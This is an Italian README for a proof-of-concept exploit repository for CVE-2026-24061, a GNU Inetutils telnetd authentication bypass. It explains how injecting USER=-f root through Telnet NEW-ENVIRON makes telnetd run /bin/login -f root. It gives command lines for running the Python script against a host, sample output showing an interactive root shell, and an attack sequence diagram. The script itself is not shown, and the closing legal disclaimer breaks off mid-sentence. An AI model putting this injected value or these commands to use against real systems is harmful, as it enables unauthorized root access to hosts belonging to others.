
Proof-of-concept exploit per GNU Inetutils telnetd bypass dell'autenticazione (CVE-2026-24061) che genera una shell di root tramite la variabile USER NEW-ENVIRON appositamente predisposta.
Questo repository contiene un exploit Proof‑of‑Concept per la vulnerabilità di bypass dell'autenticazione remota in GNU Inetutils telnetd.
Il problema nasce dal fatto che telnetd non sanifica correttamente la variabile d'ambiente USER ricevuta tramite la negoziazione Telnet NEW‑ENVIRON prima di invocare /bin/login.
Fornendo:
USER=-f root
telnetd esegue effettivamente:
/bin/login -f root
che bypassa l'autenticazione e genera immediatamente una shell root.
Telnet NEW‑ENVIRON consente ai client di impostare variabili d'ambiente durante la negoziazione della sessione.
Il telnetd vulnerabile passa USER direttamente a login:
/bin/login -f "$USER"
Un attaccante imposta:
USER=-f root
Risultato:
/bin/login -f root
Il flag -f indica a login di saltare l'autenticazione, concedendo accesso root.
Nessuna dipendenza esterna richiesta.
python3 cve-2026-24061.py 192.168.1.100
python3 cve-2026-24061.py example.com 23
Se vulnerabile:
# id
uid=0(root) gid=0(root)
#
Ora disponi di una shell root interattiva.
python3 cve-2026-24061.py 10.10.10.20
Output:
[+] Connected to 10.10.10.20:23
[+] Sent malicious USER=-f root via NEW-ENVIRON
[+] Negotiation complete - entering interactive shell
#
sequenceDiagram
participant A as Attacker
participant T as Target telnetd
participant L as /bin/login
participant R as Root Shell
A->>T: Connect TCP/23
A->>T: Telnet NEW-ENVIRON USER=-f root
T->>L: Execute /bin/login -f root
L-->>T: Auth bypass success
T-->>R: Spawn root shell
R-->>A: Interactive root session
Questo exploit è fornito per:
L'uso non autorizzato contro sistemi di cui non si possiede la proprietà o per cui non si ha il permesso di testare è illegale.